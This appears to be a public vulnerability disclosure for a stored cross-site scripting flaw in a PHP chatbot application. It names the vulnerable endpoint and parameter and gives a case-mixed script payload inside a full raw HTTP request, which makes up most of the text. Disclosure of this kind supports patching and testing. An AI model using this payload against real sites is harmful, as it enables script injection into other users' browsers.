chatbot-app-suggestion-phpoop v1.0 - Cross-site Scripting (XSS)

vendors: https://www.sourcecodester.com/php/15316/chatbot-app-suggestion-phpoop-free-source-code.html

Date: 2022-05-07

Vulnerability File: /simple_chat_bot/classes/Master.php?f=save_response

Vulnerability location: /simple_chat_bot/classes/Master.php?f=save_response, keyword[]

[+] Payload: <sCrIpT>alert(1)</sCrIpT>

Tested on Windows 10, XAMPP

```
POST /simple_chat_bot/classes/Master.php?f=save_response HTTP/1.1
Host: 192.168.2.106
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101
Firefox/97.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
```

```
Content-Type: multipart/form-data; boundary=--------------------------
-268132382818445192602306506330
Content-Length: 1479
Origin: http://192.168.2.106
Connection: keep-alive
Referer: http://192.168.2.106/simple_chat_bot/admin/?
page=responses/manage_response&id=7
Cookie: PHPSESSID=0389fublnj7ggho8q04fuvfaqe

-----------------------------268132382818445192602306506330
Content-Disposition: form-data; name="id"

7
-----------------------------268132382818445192602306506330
Content-Disposition: form-data; name="response"

<p>On this simple ChatBot Application, You can query anything and the system will
automatically browse a response that is stored on this site.ï¿½</p><p>The queries
fetch a response that has an equivalent keyword.</p><p>Also, the application
consists of suggestion keywords to query.</p>
-----------------------------268132382818445192602306506330
Content-Disposition: form-data; name="files"; filename=""
Content-Type: application/octet-stream


-----------------------------268132382818445192602306506330
Content-Disposition: form-data; name="status"

1
-----------------------------268132382818445192602306506330
Content-Disposition: form-data; name="keyword[]"

<ScRiPt>alert(1)</ScRiPt>
-----------------------------268132382818445192602306506330
Content-Disposition: form-data; name="suggestion[]"

Hi
-----------------------------268132382818445192602306506330
Content-Disposition: form-data; name="suggestion[]"

Hello
-----------------------------268132382818445192602306506330
Content-Disposition: form-data; name="suggestion[]"

Hello There
-----------------------------268132382818445192602306506330
Content-Disposition: form-data; name="suggestion[]"
```

```
-----------------------------268132382818445192602306506330--
```